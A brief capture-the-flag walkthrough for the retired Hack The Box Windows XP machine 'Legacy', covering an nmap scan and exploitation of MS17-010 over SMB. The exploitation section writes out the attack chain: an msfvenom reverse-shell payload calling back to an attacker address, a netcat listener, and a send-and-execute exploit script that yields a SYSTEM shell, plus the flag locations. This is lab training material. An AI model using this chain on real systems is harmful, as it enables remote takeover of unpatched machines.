Legacy

Hack The Box · Easy Windows Box · Retired

Enumeration

Start with nmap -sC -sV -Pn -oA ./legacy 10.10.10.4. The target exposes SMB on TCP 139 and 445 and identifies itself as Windows XP using SMBv1.

139/tcp open netbios-ssn
445/tcp open microsoft-ds Windows XP

Exploitation

The box is vulnerable to MS17-010. The original walkthrough used the send-and-execute tooling from the MS17-010 repository and a generated Windows reverse-shell executable.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.XX.XX LPORT=9999 -f exe > exploit.exe
nc -lvnp 9999
python send_and_execute.py 10.10.10.4 /home/kali/Legacy/exploit.exe

The exploit returns a SYSTEM-level shell. The flags are located at:

C:\Documents and Settings\john\Desktop\user.txt
C:\Documents and Settings\Administrator\Desktop\root.txt